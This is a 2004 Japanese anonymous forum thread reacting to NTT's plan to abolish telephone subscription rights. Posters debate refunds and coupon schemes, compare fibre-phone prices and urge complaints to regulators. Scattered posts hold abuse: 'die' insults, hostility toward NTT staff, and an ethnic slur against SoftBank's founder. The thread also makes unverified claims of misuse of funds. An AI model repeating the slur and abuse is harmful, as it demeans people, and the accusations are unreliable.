ＮＴＴ、電話加入権廃止を検討・基本料も引き下げ
レス数が950を超えています。1000を超えると書き込みができなくなります。
0001名無しさんに接続中…
04/09/16 20:36:07ID:EoiPQNkV電話線を引きまくり、
ADSL契約しまくって儲ける職業が成り立つ。
http://it.nikkei.co.jp/it/news/index.cfm?i=2004091509489j0
0002名無しさんに接続中…
04/09/16 20:59:14ID:P2ltyI8Z0003名無しさんに接続中…
04/09/16 21:10:26ID:Qih/XuWW0004名無しさんに接続中…
04/09/16 21:17:36ID:u0r+1bj80005名無しさんに接続中…
04/09/16 21:24:21ID:eJYvx0oj返してくれるなら
廃止三世
家には3つも転がっている。
\72,800X3回線=\218400-
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04/09/16 21:58:57ID:Qih/XuWWうちのは３０年前のが２５万親世帯の
自分のは５年ほど前７万数千円だったか
近所には３５万ぐらいで買った人もいる
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04/09/17 00:47:25ID:dmRUFo9Kそれ、債券とごっちゃになってないか？
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04/09/17 15:51:25ID:4exVAoczだいたい加入権が7万そこそことは安すぎる。
最低でも300万にすべきだ。
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04/09/18 00:18:32ID:TwdmpUzR２００円程度安くしたって、だめでしょ。負けろ負けろ負けろ。
もっと安くなれー。
ついでにＢフレも安くしろー。
ドコモもおまけダー。安くしまくれー。そうしないと存続できないぞー。
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04/09/18 00:25:17ID:Ie4HVmg/電話金融業者の圧力であぼーんしたとか
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04/09/18 02:38:37ID:jCRC8N9D７万円分無料にしたら認めてやる
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04/09/18 02:52:40ID:xUCjF4Bmなるほど。
NTTとしても現金での払い戻しは不可能だろうけど、基本料金
から毎月1000円ずつ割引して72ヶ月(6年間)かけて引き当てる
方式をとれば、無理なく完済できるな。
寝かせてある加入権も、月額基本料金から累計72ヶ月までの
「1000円割引クーポン」として権利が持続すれば、保有者の
資産価値もそれなりに守られる。
これで、NTT・利用者・加入権売買業者の三方が丸く収まる。
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04/09/18 07:58:14ID:sU0Y/Wv4座布団１０枚進呈！！！
ハワイ旅行自費参加おめでとうございます。
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04/09/18 09:36:59ID:vHi0IcNnアルバイトに勤しんだ日々。あれは何だったのかと。
マジで返すか基本料を72800円分まで無料代替するかしろ。
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04/09/18 10:23:11ID:toKV7cck0016名無しさんに接続中…
04/09/18 13:55:53ID:XK5PcWUUそういう人がいるから廃止できないわけでw
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04/09/18 14:49:00ID:sU0Y/Wv4だから詐欺のような廃止ではなく
返還運動の輪をもっと広げよう。
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04/09/18 17:24:44ID:zWiCpyA0http://headlines.yahoo.co.jp/hl?a=20040918-00000002-san-bus_all
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04/09/18 19:08:40ID:W6Hcr36pこれじゃあ・・・ＮＴＴ見直しした方がええなあ・・
光や銅線基盤事業・・・ＮＴＴ東西
通話・・・ＮＴＴＣＯＭ
こうした方がええとおもうのはわしだけ？
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04/09/18 19:17:40ID:293hZOwiおまけに他社へ移動したら『基本料1000円引き』というキャッシュバックの権利が
無くなるから、向こう7年分の引き留め工作&ソフトランディングができていいかもね。
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04/09/18 20:51:33ID:sU0Y/Wv4以前に電電公社セールストークどおりに債券としての価値を
保てるので売買の対象になるし、割引時期が分散できる分
ＮＴＴもリスクが軽くなる。
これだと漏れもまあ納得かな。
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04/09/20 22:37:34ID:FV4Z9Uta0023名無しさんに接続中…
04/09/21 00:32:36ID:7YOfYLgS0024名無しさんに接続中…
04/09/21 00:56:03ID:efwDxYOT72800円の設置負担金はいずれ携帯同様無料になる。
出来るのはその前に少しでも価格があるうちに売り飛ばすこと。
ババ抜きのババの価格は現在1万円～2万円？？？
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04/09/21 04:04:22ID:viD71VQI今7000円
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04/09/21 08:03:30ID:EziFBNYO売れないよりましか。
携帯のときはあっという間に下がってどうしようもなっかたけど。
記念に持っておくか。何か良いことあるかも知れないし。
0027名無しさんに接続中…
04/09/21 15:17:46ID:o4bPynD5大事に持っておけば昔の思い出とNTTへの怨念がいつまでも残るよ。
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04/09/22 20:13:06ID:jbpUKg+Nｗ
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04/09/22 20:54:38ID:PCBt63jQってやつだな。
ソフトバンク１２月から始めるらしいよな。
ソフトバンク、KDDIはＮＴＴからの移転工事費の一部として、５年間
毎月１００円徴収するから、実質１００円安くなるだけだ。
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04/09/22 22:39:47ID:GFpLDtLa0031名無しさんに接続中…
04/09/23 09:49:16ID:Bv1sTxOY命令だ
0032名無しさんに接続中…
04/09/23 16:38:24ID:6Zj0sFtTｿﾌﾄﾊﾞﾝｸを賞賛するような奴は、気持ち悪くて近付きたくない。というか怖い。
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04/09/23 18:52:23ID:p8YWQS1z続ける上得意様なんだがなぁ、日本テレコムやKDDIの固定回線とて同じ
結局はメタル使用料をNTTの代理集金するだけ。
今後のバーサスはNTTに一切献上しない電力系光事業者だと思うぜ
ここ対策遅れたらいよいよ終わりだな。
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04/09/24 21:49:13ID:ohrskVIPっていうのがあるよ。
電力計もIPやって当たり前だぜ。
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04/09/27 19:24:39ID:Lfwiy/vu0036名無しさんに接続中…
04/10/02 22:45:22ID:oAawA7Bw加入債券分を基本料金から差し引いて５０ヶ月無料にしろ！！！！！！！
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04/10/03 01:19:10ID:Rtl+P63J0038名無しさんに接続中…
04/10/03 02:15:44ID:J0Pe187f１７５０円でアナログ回線を２本引いて欲しいよ
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04/10/03 06:55:51ID:CTepGaknnttからｅｏに変更します。
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04/10/03 07:09:47ID:hVCCTYlc議決権の問題があるから転換社債にする可能性高し。
国民全体が株主になれば、NTTに対抗するソフトバンクは
国民全体の敵になる。
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04/10/03 14:11:59ID:jurm+Prj相殺すりゃいいんじゃないの？加入権相殺完了前に利用者側から契約を解除した
場合は加入権放棄したものとみなす事にしてさ。
NTTから見れば顧客離れ防止にもなるし。
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04/10/03 16:18:20ID:COgUV4sw0043名無しさんに接続中…
04/10/03 16:52:37ID:MRRVys6S小泉叩きと将軍様万歳を秤にかけるようなもんだから
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04/10/03 16:54:58ID:MRRVys6Sそれでは毎月１００円づつ相殺させていただきます
７００ヶ月お待ちください
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04/10/03 17:33:38ID:mRuOt6tJとっていたものです。現在では新規設備投資も行わない為必要も無いものなので廃止したいのですが、
過去に払った人が多く文句を言う人の為に今も頂いております。
嫌ならKDDI日本ﾃﾚｺﾑeo有線等好きなところに加入ください。
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04/10/03 18:34:45ID:lPtm+BwE独占ヴォケの腐れ外道会社。
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04/10/03 19:21:46ID:2oSxttq9ちなみに洩れは15,000円ぐらいだった
もしNTTが72,000円返してくれるならボロ儲け
0048名無しさんに接続中…
04/10/03 19:26:49ID:vubb3wEJ施設設置負担金、加入権、電話債券を混同している馬鹿
0049名無しさんに接続中…
04/10/03 19:36:01ID:fEK6vQ4v0050名無しさんに接続中…
04/10/03 20:21:59ID:6xmXRWb20051名無しさんに接続中…
04/10/03 21:17:12ID:lDg7AttCＢフレも今一だし、携帯もフォーマーがこけるし、固定も危うい。
0052名無しさんに接続中…
04/10/04 00:16:42ID:j7zGLN17ナンバーはkddiやヤフーも金を取るでしょ。
孫には、キャッチとナンバーも無料にしてほしかったな。
そうすれはNTTも無料になる。変更せずにｳﾏｰ
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04/10/04 00:58:46ID:JHx54qqphttp://www.asahi.com/business/update/1004/001.html
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04/10/04 01:16:24ID:6nlp3YxW独占企業の弊害の教科書みたいな世界最大の寄生虫。
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04/10/04 01:26:41ID:F2OH6lf6ユーザーとしては別にいいんだけどw
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04/10/04 20:09:10ID:BbO1z4FJって書いて勧誘してたね
0057名無しさんに接続中…
04/10/04 23:25:04ID:6nlp3YxW実は昔から無価値ってことだよｗ
お客になる権利なんて会員権商法の元祖だね。
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04/10/05 00:02:48ID:kPUoZxJW0059名無しさんに接続中…
04/10/05 02:49:51ID:zdnIJfzi毎月１８００円づつの基本料金帳消しという形でいいよ
0060名無しさんに接続中…
04/10/05 05:27:55ID:R9I4Z4i9財産だから担保権があるんだよ
とりあえずプッシュ回線使用料とかわけわからんから
廃止する方向は賛成。ってか固定電話使わないのに払ってる・・・
解除しとこ
0061名無しさんに接続中…
04/10/05 06:57:40ID:w+cvCRnM電信柱や電話線の工事だけではなく、社会保険庁の
ように保養所やプール・テニスコート建設に流用していたんでは
ないだろうな・・・
0062名無しさんに接続中…
04/10/05 07:39:34ID:h8vU6dOg収入をわざわざ分けて考えてないだろうから、そりゃ保養所建設もしてるだろうな。
あとは加入権持ってる相手がどこに居ても電話引かなきゃいけないんで、山奥やら離島の回線の敷設やら
保守やらの費用にも充てられてはいるだろう。
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04/10/05 08:08:43ID:w+cvCRnM通信インフラ充実が必要な時代の中、政府には資金が足りないので
加入希望者から出資させようとの趣旨は今でも十分理解が出来る。
それは、離島や山奥まで津々浦々に普く電話サービスが受けられるよう
建設機材や工事力を確保するために必要なものだったのであろう。
しかし、それはあくまでもインフラ整備のためであって、決して保養所
建設の資金負担ではなかったはずだ。
0064名無しさんに接続中…
04/10/05 10:12:35ID:pcaFEPLjおいくつですか？
0065名無しさんに接続中…
04/10/05 14:22:42ID:zdnIJfzi0066名無しさんに接続中…
04/10/05 14:24:54ID:JSJOgFW60067名無しさんに接続中…
04/10/05 14:29:33ID:lwTcqzBe>電話線を引きまくり、
>ADSL契約しまくって儲ける職業が成り立つ。
？詳しく教えて誰か
0068名無しさんに接続中…
04/10/05 15:17:34ID:9DHeCMiE0069名無しさんに接続中…
04/10/07 19:30:11ID:KRYAlLTtつまり、NTT東日本、[email protected] またはNTT西日本、[email protected]
に送ると同時に、ＣＣで総務省、[email protected]
へ、送ってください。ぼくはそれ以外にも、消費者センター、新聞、テレビ局等、
検索エンジンで調べて、送りましたが、総務省から言われたらしく、すぐに
NTTからメールが届き、また留守電に「総務省の方から連絡を頂きました」
というお詫びの電話が入っていました。
NTTのような通信関係の会社を規制しているのは、総務省です。
みんなでNTTの不誠実な対応を総務省に訴えましょう。
効果覿面ですよ。
また、内容証明は、コピーを取って、総務省に送るといいでしょう。
総務省の住所は、〒162－8668 東京都新宿区若松町19番１号
総務省の情報通信政策局、それから総合通信基盤局、極めつけに
大臣官房に送ってやりましょう。
また、情報通信審議会、あるいは、情報通信政策部会などにも
送ってもいいでしょう。
総務省のホームページは http://www.mha.go.jp/
です。みなさんも関連部署にNTTの不誠実を訴えてください。
こんないいかげんな会社を糾弾するのは当たり前です。
これらの行為は違法でもなんでもありません。当然のことです。
それから、みなさん、この内容をコピーして、NTT関連の苦情スレッドに
カキコお願いします。
0070名無しさんに接続中…
04/10/09 03:23:33ID:lbgVNneGhttp://news.www.infoseek.co.jp/business/story.html?q=09mainichiF1009m161&cat=2
0071名無しさんに接続中…
04/10/09 03:25:33ID:OfxKTy7pｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━ !!!!
http://www.mainichi-msn.co.jp/keizai/kigyou/news/20041009k0000m020161000c.html
電話加入権：２０１１年めどに廃止へ ＮＴＴ東西
＜重要な記事後半のみ引用＞
加入権による収入は、電話局から加入者までの電話線の建設に充てられてきたため、
利用者側には「国民の共有財産を建設するための利用者からの借金」との見方も根強く、
廃止には利用者の強い反発が出ることも予想される。
企業側は日本経団連が「廃止は妥当」と結論付けるなど受け入れる姿勢だが、加入権が
無価値になった場合の企業負担は軽くはない。
加入権は現在、譲渡や質入れも可能。民間の加入権売買業者の販売価格は１万円台に低迷
しており、買い取りをやめた業者も多い。加入権を取引する業者で作る全日本電話取引業協会は
「加入権保有者が今後も何らかのメリットを受けられるようＮＴＴと交渉していく」と話している。
0072名無しさんに接続中…
04/10/09 03:39:33ID:9pdHm96T毎年半額くらいにしていけば、最終的に手数料800円、程度が残る計算だね。
0073名無しさんに接続中…
04/10/09 07:50:44ID:N46p56k9買い取り価格、上がるかもな。
0074名無しさんに接続中…
04/10/09 12:54:44ID:XAEMa/Ck発行済株式数
50,180,000株の6割保有
1株20万として
6兆円だ。これで返せるだろ。
ドコモはNTTの子会社からの脱却を願ってるから、自社株買いを行う。
1年5000億×7年で3.5兆円。
残りの2兆円は市場に流通。これで無問題。
NTTは当然ドコモ株を失うことで暴落するが、これは株主責任。
0075名無しさんに接続中…
04/10/09 12:55:36ID:XAEMa/Ckで返還分以外の2兆円はNTTが今後の新規投資にでも当ててくれ。
0076名無しさんに接続中…
04/10/09 13:02:08ID:eJtO2XMf電気会社は電話へ
電話会社は電気へ
0077名無しさんに接続中…
04/10/09 13:10:43ID:4E+J2w860078名無しさんに接続中…
04/10/09 13:24:13ID:AzGaXAzm0079名無しさんに接続中…
04/10/09 13:25:42ID:HCaceeydエネット
0080名無しさんに接続中…
04/10/09 13:29:32ID:g8d0c6Y5みかか基本料金：￥１６００－
↓
関電系光電話基本料金： ￥０－
みかか！ 関電のなぐり込みに、大ピンチ！！！
0081名無しさんに接続中…
04/10/09 14:05:45ID:TvVLczLu散々無駄金つぎ込んだよな。ISDNのDSUやTA3台買ってISDN電話も
買って、ADSLしたいために全ての投資がパ－。
おまけに加入権に出した72000円もパ－か。
一体いくらこの糞みかかに無駄金かかったことか。
みかか社員はマジで給料の減給と賞与カットしろよ。
みかかの社宅見るたびに石でも投げつけてやりたい心境だぜ。
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04/10/09 14:12:43ID:xRK8flu60083名無しさんに接続中…
04/10/09 14:29:40ID:GPE+vJKxつべこべ言ってないで金返せよ、みかか社員
0084名無しさんに接続中…
04/10/09 14:31:02ID:UvBkVQt90086名無しさんに接続中…
04/10/09 14:43:36ID:cxn71uIbきたー
0087名無しさんに接続中…
04/10/09 14:48:47ID:ju4zYM640088名無しさんに接続中…
04/10/09 14:50:09ID:TbZtHPYW0089名無しさんに接続中…
04/10/09 14:51:00ID:TvVLczLu0090名無しさんに接続中…
04/10/09 14:51:31ID:EqkXaSZH0091名無しさんに接続中…
04/10/09 14:54:04ID:JeVO27Ekパソコン通信時代の隠語をそのまま使ってる恥ずかしさを感じない
厚顔無恥な人種なのであろう
0092名無しさんに接続中…
04/10/09 15:20:30ID:y6aoTDVE〒100-8926 千代田区霞が関2-1-2 中央合同庁舎第2号館
Tel: 03-5253-5900
総務省へのご意見・ご提案の受付
http://www.soumu.go.jp/opinions/opinions.html
0093名無しさんに接続中…
04/10/09 16:17:25ID:IaR4J9HvNTT西日本 Bフレッツ ファミリー100 5218円(あっと割引)+525円(ﾌﾟﾛﾊﾞ) 合計5743円
USENひかりファイバー 計5985円
関西電力 eoホームファイバー 計4900円
四国電力 ぴから光 計5985円
東京電力 TEPCOひかり Asahiネット 計6804円
九州電力 BBIQひかり 計5775円
中部電力 Commuf@ﾎｰﾑ(GE-PON) 計6090円
中国電力 megaegg 計5565円
徳島ｹｰﾌﾞﾙ tcn光(GE-PON)1.25Ｇ 計4410円
★ｿﾌﾄﾊﾞﾝｸ YahooBB! hikari(GE-PON) 計7633円 ← 値段高すぎ 朝鮮禿の信者専用
参考
YahooBB ADSL 50M(4130円程度)+加入電話1級局（1522円) = 計5652円
関西電力 eoホームファイバー（加入電話の番号付きIP電話) 計5200円
0094名無しさんに接続中…
04/10/09 17:28:17ID:sJwDOX9B漏れが消防のころまで
実家は
実家に用がある場合は近くの親戚に電話をかけてもらう
いわゆる呼び出しをやってた。
0095名無しさんに接続中…
04/10/09 17:30:50ID:SfKCtwi0乙！
私もいろいろ調べたんだけど、050じゃない電話番号を手に入れるには、
電力系の光ファイバー＋光電話っていうのが一番安いみたいね。
でも、うちは自宅で仕事してるから今iナンバーで３番号使ってて、
光電話だと２番号分足りないんだ・・・orz
足りない２番号はJ-COMのケーブル電話（1回線1330円、2回線目に限り665円）
でも引こうかと検討してみたけど、キャッチホンとかナンバーディスプレイの手数料をプラスすると
1月からのＮＴＴ値下げと比べても500円/月しか変わらない（´Д⊂ヽ
どうしたものか・・・
スレ汚しｽﾏｿ(´･ω･`)ｼｮﾎﾞｰﾝ
0096名無しさんに接続中…
04/10/09 20:19:19ID:udy7avWTなんでこんな糞になった？
0097名無しさんに接続中…
04/10/09 21:38:47ID:AKgLD3+M通話料も考えて比較したほうがいいよ。
家で商売してるなら通話料もそれなりに発生してるっしょ？
0098名無しさんに接続中…
04/10/09 23:23:22ID:04ASkrvWいまマンガ喫茶からだから、専用ブラウザ使えないんだよね
コピーして貼ってくれると見やすいです。
次のレスからそうしてください。
0099名無しさんに接続中…
04/10/09 23:29:08ID:C3bmDtGz死ね
010095
04/10/09 23:31:26ID:GqsUGZeSどうもありがとう。
通話料も電話会社によって多少変わってくるんだね。
接続も光にしたいことだし、調べてみまつ。
0101名無しさんに接続中…
04/10/09 23:36:14ID:hmK3B8OmNTTって、官僚の天下り先だろ。
だからそうなんだよ。
今も昔もルートは変わらない。
だから、この程度なんだよ。
0102名無しさんに接続中…
04/10/09 23:57:42ID:iRxCTcHdhttp://www.jcom.co.jp/common/ja/phone/index_phone.html
J-COMの通話料は高めだけど、付加機能は安いと思うが。
プッシュ回線、キャッチホン、ナンバーディスプレイあわせて300円なので。
１サービス２００円なんだけど、プッシュ回線は他のサービス利用で無料になるが１つに数えられる。
３つめ以降は100円になるので300円という計算。
0103102
04/10/10 00:01:22ID:prJJoIX0確かにあまり変わらないかも。
スレ汚ｽﾏｿ
0104名無しさんに接続中…
04/10/10 08:47:00ID:Xx5m0BRc乞食死ね
0105名無しさんに接続中…
04/10/10 13:27:45ID:40XJhgc6ドコモもそれを望んでる
0106名無しさんに接続中…
04/10/10 15:09:18ID:krGv1PI50107名無しさんに接続中…
04/10/10 15:11:27ID:U1oknTb+0108名無しさんに接続中…
04/10/11 01:18:36ID:vwiKG31pnttcomはまだ上場してないから上場してから売却した方が儲かるだろ。
もう少し待て。nttの今後の消耗戦に必要な資金となるから
他にはnttデータも売却できるな。
>>107
そんなものずっとない。３/４くらいの社員はクビ。すなわち給料０セールだ。
nttは大企業で最大数の社員がいる。またどうしようもない社員がそのほとんどだ。
特に平日、ここでも反論等で暴れるやつは全員NTT関係者だ。
0109名無しさんに接続中…
04/10/11 02:08:50ID:7GtqkV4oどういう妄想なんだか
0110名無しさんに接続中…
04/10/11 03:20:09ID:OHByk0cJ売上げの具合見ながらどんどん片道切符の出向させればいい。
0111名無しさんに接続中…
04/10/11 05:36:28ID:eOt1tb2D負債ってこと？ＮＴＴの負債が減るってことは、ＮＴＴの利益なるってこと？
0112名無しさんに接続中…
04/10/11 06:01:04ID:JDkmGrkv0113名無しさんに接続中…
04/10/11 10:15:59ID:cQ2bavEO0114名無しさんに接続中…
04/10/12 23:30:03ID:GycU+l+S0115名無しさんに接続中…
04/10/12 23:31:54ID:Aypr4B130117名無しさんに接続中…
04/10/13 22:21:53ID:fCRkRG3q誰が>>104家のどブス姉ちゃんの話したとよ？
ﾊﾛｰﾀﾀﾞｲﾔﾙ104の姉ちゃんのことよ。
0118名無しさんに接続中…
04/10/13 23:41:52ID:378RcRxu0119名無しさんに接続中…
04/10/13 23:43:33ID:378RcRxu0120名無しさんに接続中…
04/10/13 23:44:52ID:378RcRxu0121名無しさんに接続中…
04/10/13 23:45:22ID:378RcRxuでねえよ
0122名無しさんに接続中…
04/10/14 22:13:28ID:FlBmk1mP0123名無しさんに接続中…
04/10/14 22:15:31ID:FlBmk1mP0124名無しさんに接続中…
04/10/14 22:16:22ID:FlBmk1mP0125名無しさんに接続中…
04/10/15 02:52:38ID:6R2J3ikV0126名無しさんに接続中…
04/10/15 12:11:47ID:L0H1FmLW0127名無しさんに接続中…
04/10/15 15:16:59ID:DBbdYJVG0128名無しさんに接続中…
04/10/15 15:17:39ID:DBbdYJVG0129名無しさんに接続中…
04/10/15 15:23:46ID:DBbdYJVG♣
♦
♠
★
0130名無しさんに接続中…
04/10/16 22:47:07ID:WBWxr5TaNTTにとっても、そう悪い話ではない。
0131名無しさんに接続中…
04/10/19 16:42:07ID:0gstYZih加入権＋YAHOO加入で500円･･･
こんなに安くて、どうやって儲けてるの？
0132名無しさんに接続中…
04/10/19 16:48:27ID:VEBkKQxq悪い話だろ
0133名無しさんに接続中…
04/10/19 16:56:31ID:8Kp61uzw新規加入は当面基本料金が少し高い「○○ライト」だけにしてさ。
それとも現在でも施設設置負担金がいるコースと
いらないコースがあることを知らない人が多いの？
0134名無しさんに接続中…
04/10/19 20:15:21ID:8Kp61uzw施設設置負担金を返せなんて言ってる人がいるけど、
ってことはライトコースの人も差額分を返してもらうべきだといってるわけだよね。
それとも、施設設置負担金は返して欲しいけど、
これまでのライトコースとの差額分は遡って支払うのかな。
0135名無しさんに接続中…
04/10/19 20:30:05ID:IS+BtMWI債権としての価値も宣伝しておきながら（実際、関係会社は加入権の売買をやっている）
今になって、施設設置負担金だから買取はないとぬかしている。
過去にさかのぼって負担金についての会計監査やれば一発でOUTになるだろう。
２枚舌はいかん！
0136名無しさんに接続中…
04/10/19 22:03:19ID:4QuABQ91事実誤認
0137名無しさんに接続中…
04/10/19 22:09:57ID:yvFai8MT漏れもそう思う。
ライトの料金を通常の料金並に下げるだけでいいんじゃないかと。
0138名無しさんに接続中…
04/10/20 02:42:44ID:KIV4CwoHtp://www.asahi.com/business/update/1019/116.html
0139ぴのこ
04/10/20 05:10:40ID:SL8dpKq00140名無しさんに接続中…
04/10/20 05:36:37ID:Q9POf3FM0141名無しさんに接続中…
04/10/20 14:22:57ID:8cC71dhw0142名無しさんに接続中…
04/10/20 14:27:57ID:w8YTn4IR「NTTの割引クーポン」として転換すれば、KDDIやSBなど他社
に乗り換えた客にとっては無駄になるので、乗換えを抑止する
効果が出て、NTTとしても得策ではないか？
0143名無しさんに接続中…
04/10/20 16:08:16ID:MnG/fz/qNTTとしてはクーポン＝値引きなので、やりたくない。返還、値引きに応じず乗り切り
忘れたいのではないでしょうかね？
0144名無しさんに接続中…
04/10/20 16:20:39ID:wa4WnFSEものの値段が変わるのは当たり前。
安くなったから差額を返せというのはおかしい。
高くなったら差額を払うのか？
0145名無しさんに接続中…
04/10/20 16:41:34ID:OI7QgyuR電話番号はそのままでOKでした。
音質に問題はないね。忘れてて気が付かなかったよ。
（ｋオプチから確認電話が来る前に電話を受けたり
かけたりしてた。）
NTTからおさらばにゃん
0146名無しさんに接続中…
04/10/20 17:14:38ID:NfpI2C0/0147名無しさんに接続中…
04/10/20 17:36:53ID:7aNSktwKhttp://www.yomiuri.co.jp/main/news/20041020i407.htm
0148名無しさんに接続中…
04/10/20 18:02:11ID:9wxkN16Z0149名無しさんに接続中…
04/10/20 18:27:02ID:6ZqItA8P電話番号はそのままで、ってどういうこと？
NTTと同じってことかの？
0150名無しさんに接続中…
04/10/20 18:33:26ID:EiElLUw8ttp://www.ntt-west.co.jp/news/0408/040830b.html
（３）加入電話等と同様の「０ＡＢ～Ｊ」電話番号の利用
ＮＴＴ西日本の加入電話等をご利用いただいているお客様が、
本サービスを同一設置場所でご利用いただく場合は、現在ご利用中の電話番号を
そのままご利用いただけます。（一部ご利用できない場合があります）
0151名無しさんに接続中…
04/10/20 18:41:48ID:868gTHppそれが一円も帰ってこないとは・・・
NTTむかついたからYahoo応援する。
ちなみに
親に、年金は絶対払え！って言われて払い続けてるんだけど
これも廃止になりそうで怖い
0152名無しさんに接続中…
04/10/20 18:42:35ID:EiElLUw8お前の親は、ベータも買った口か？
0153名無しさんに接続中…
04/10/20 18:58:57ID:TOxOEJxThttp://cs.eonet.ne.jp/qa/hikaridenwa/qa304.php
http://eonet.jp/hikaridenwa/
0154名無しさんに接続中…
04/10/20 21:14:24ID:bCM3KPaV現金で返せとも言わない
だから２～３年分の基本料金(1750円)を帳消しにしろ
それくらいの誠意はするべきだ
0155名無しさんに接続中…
04/10/20 21:50:20ID:StMWHQM9そうそう、４兆円分全部ＮＴＴが貰っちゃうなんて、ずるい、卑怯。
還元しないとＮＴＴ危ないよ。
反乱が起きるかも・・・
0156名無しさんに接続中…
04/10/20 21:59:19ID:MnG/fz/qそうなれば、今後NTTにびたイチモン払わないようにしないといけない。
0157名無しさんに接続中…
04/10/20 22:29:38ID:wa4WnFSEライトプランの利用者はどうするよ？
返せと言うべきなのか？
教えてくれ。
0158名無しさんに接続中…
04/10/20 22:36:06ID:0GfRDIAe何か払ったの?
0159名無しさんに接続中…
04/10/21 04:53:15ID:V1YcCw1r廃止されると0円
どう考えてもおかしいよな
>>33の意見に同意
0160名無しさんに接続中…
04/10/21 08:24:52ID:ZCDwxRLOに座布団１０枚進呈！
ハワイに自分で行ってください。
ところで、読売も朝日も社説で掲げているが
やはり何らかの補償は必要である。
たとえば７２０００円分の基本料無料化など。
しかし、集めた４兆円を社宅や保養所建設に
使っていないだろうなぁ・・・
経理の情報公開が必要では？
0161名無しさんに接続中…
04/10/21 09:14:15ID:wQAIytNH総務省よりも上級の機関である内閣法制局、電話加入権は「債権、財産」と認定
http://www.asahi.com/business/update/1021/053.html
NTTによる返金無しでの加入権廃止は財産権の侵害、違法行為で損害賠償請求の
対象となります。
0162名無しさんに接続中…
04/10/21 09:24:17ID:s3ds40sNライトプランにくらべてその分安くなってますが？
0163名無しさんに接続中…
04/10/21 09:58:36ID:emnLO/NU0164名無しさんに接続中…
04/10/21 10:34:54ID:DI0QjiDXその資金をドコモやアメリカ等の通信会社株購入に
流用していないだろうな・・・
もし、していたら加入者に対する背任行為ではなかろうか？。
0165名無しさんに接続中…
04/10/21 10:37:01ID:emnLO/NUドコモは分社しただけだし、米の費用は株式公募で調達したからね
0166名無しさんに接続中…
04/10/21 11:14:08ID:+8ZOK0Av0167名無しさんに接続中…
04/10/21 12:08:04ID:Q515+v6l今のうちにうっぱらった方が方がいいのかしら？
他社の光電話に乗り換えちゃうとかして。
それとも、財産権を侵害したとしてNTTを訴える？
0168名無しさんに接続中…
04/10/21 13:27:18ID:+8ZOK0Avお茶を濁す程度になるが 何かしらの補償はされるだろう
0169名無しさんに接続中…
04/10/21 14:02:11ID:Q515+v6l0170名無しさんに接続中…
04/10/21 17:19:10ID:Uek9Pol90171名無しさんに接続中…
04/10/21 17:57:10ID:UkJIrwKi収賄に使われてるんだろ
だから総務省も必死なんだよ
0172名無しさんに接続中…
04/10/21 18:01:56ID:Q515+v6l生温くない？
みんなで訴えてやるゥ。
0173名無しさんに接続中…
04/10/21 18:50:32ID:QqH08gCL分社化や株式公募ってほんとに１円も加入金の負担金を使っていないのか？
その辺の会社経理に詳しい人の解説をきぼんぬ
0174名無しさんに接続中…
04/10/21 19:16:22ID:bgwhPfvV今日から公衆電話で電話かけまくろうぜ
0175名無しさんに接続中…
04/10/21 21:34:51ID:srT3VfrZ0176名無しさんに接続中…
04/10/21 21:41:12ID:jZfBucb70177名無しさんに接続中…
04/10/21 22:09:37ID:QtzQlCqtライトプラン→現状の割高な基本料金から、通常の基本料金へ値下げ。
加入権保有者→通常の基本料金から、72ヶ月分の1000円割引クーポン。
すっきりしてるじゃないか。
0178名無しさんに接続中…
04/10/21 22:12:16ID:zGDkaaEO無難に加入権持っている奴は、今のライトプランとの差額くらい
割引しておけば収まるのでは？
社会人になりたての時の７万円は大金だったよ。やっぱり返せよ。
0179名無しさんに接続中…
04/10/21 22:21:26ID:QtzQlCqt向こう6年間はクーポン利用によって他社流出を抑止する効果も
稼げて、NTTにとっても得な面がある。
総額4兆円でも、6年間に分散させれば無理なく消化できる。
さらに「1回線に複数のクーポンの使用は不可」とすれば、
死蔵されている加入権までが一気に使用されることも防げて
6年経っても4兆円に満たない額の割引しか使用されない。
「割引クーポン化」が、ちょうどいい落し所だと思う。
0180名無しさんに接続中…
04/10/21 23:05:45ID:GLpMYb3A未使用のテレカは電話料金の支払いに使えるよ
0181名無しさんに接続中…
04/10/21 23:32:52ID:ejNo6don悲しい話だ。
0182名無しさんに接続中…
04/10/21 23:35:16ID:xiOnOnV2問題は法人だよな
0183名無しさんに接続中…
04/10/22 00:16:44ID:iyF3GDBo加入権の金返すまでＮＴＴ法は絶対に廃止させません
0184名無しさんに接続中…
04/10/22 02:58:20ID:VzKdvhfiみかかは今までに実際幾らくらい電話だのネットだので
自分の為に施設設置費用使ったのかなぁ？
20歳で買って70歳位で死ぬとして
電話とネットで大体月7k
年間で84k
一生で420ﾏｿ…
500ﾏｿくらい掛かってるなら許すかぁ
0185名無しさんに接続中…
04/10/22 03:17:13ID:Z7yIonIN0186名無しさんに接続中…
04/10/22 04:46:05ID:cpLnt2q2マイラインで他社使ってるので
通話料金は０です
基本料金の支払いもさせてください
0187名無しさんに接続中…
04/10/22 04:48:05ID:cpLnt2q2７万は工事代金だったってことですか？
0188名無しさんに接続中…
04/10/22 06:03:17ID:la9o2Efn加入権と引き換えに「自社の割引クーポン」を発行したら
NTTに大打撃を与えられるかも。
0189名無しさんに接続中…
04/10/22 06:31:38ID:VT+myq/P0190名無しさんに接続中…
04/10/22 06:35:21ID:85JoA/scそうそう、コードを少し長くして貰うだけの工事だったのに、１万円近く
取った。別料金だったよな。
最近日本テレコムの電話勧誘多くない？
入る奴多そう。孫だとは知らないんだろうな。お気の毒様です。
0191名無しさんに接続中…
04/10/22 10:28:50ID:aMh9f5wuソンは知ってるけど 日本テレコムがソン系だったとは知らない人
どちらにしても御愁傷様だね 本当
アンチNTTなのはよくわかるけど NTT以外ってだけで選ぶのは危険すぎ
0192名無しさんに接続中…
04/10/22 10:55:59ID:znGnQugJ0193名無しさんに接続中…
04/10/22 11:00:00ID:zTg9infk返してやるからここに住所氏名晒せ
0194名無しさんに接続中…
04/10/22 11:10:16ID:SpunQK6G俺んちの土地に立ってる電柱は撤去してもらう事にした。
加入権返してしれたら、堪忍したるけどどうする。
0195名無しさんに接続中…
04/10/22 12:01:37ID:MN5m/ezJ電柱の撤去
KDDI・ソフトバンク・CHOKKA(平成電電)への乗り換え
NTT関連会社のサービスの解約(ADSL・光)
ドコモ以外の携帯を利用
0196名無しさんに接続中…
04/10/22 13:15:54ID:aMh9f5wu電柱は（東京電力とか）電力会社の所有物だバカたれ
無くなったらTEPCOやeoに加入出来なくなるぞ
オマエらの言いたいのは電信柱だろ
（それとも両者共倒れを願うアホー工作員か？）
0197名無しさんに接続中…
04/10/22 13:22:06ID:zTg9infk自家発電＆Air-H"で桶
0198名無しさんに接続中…
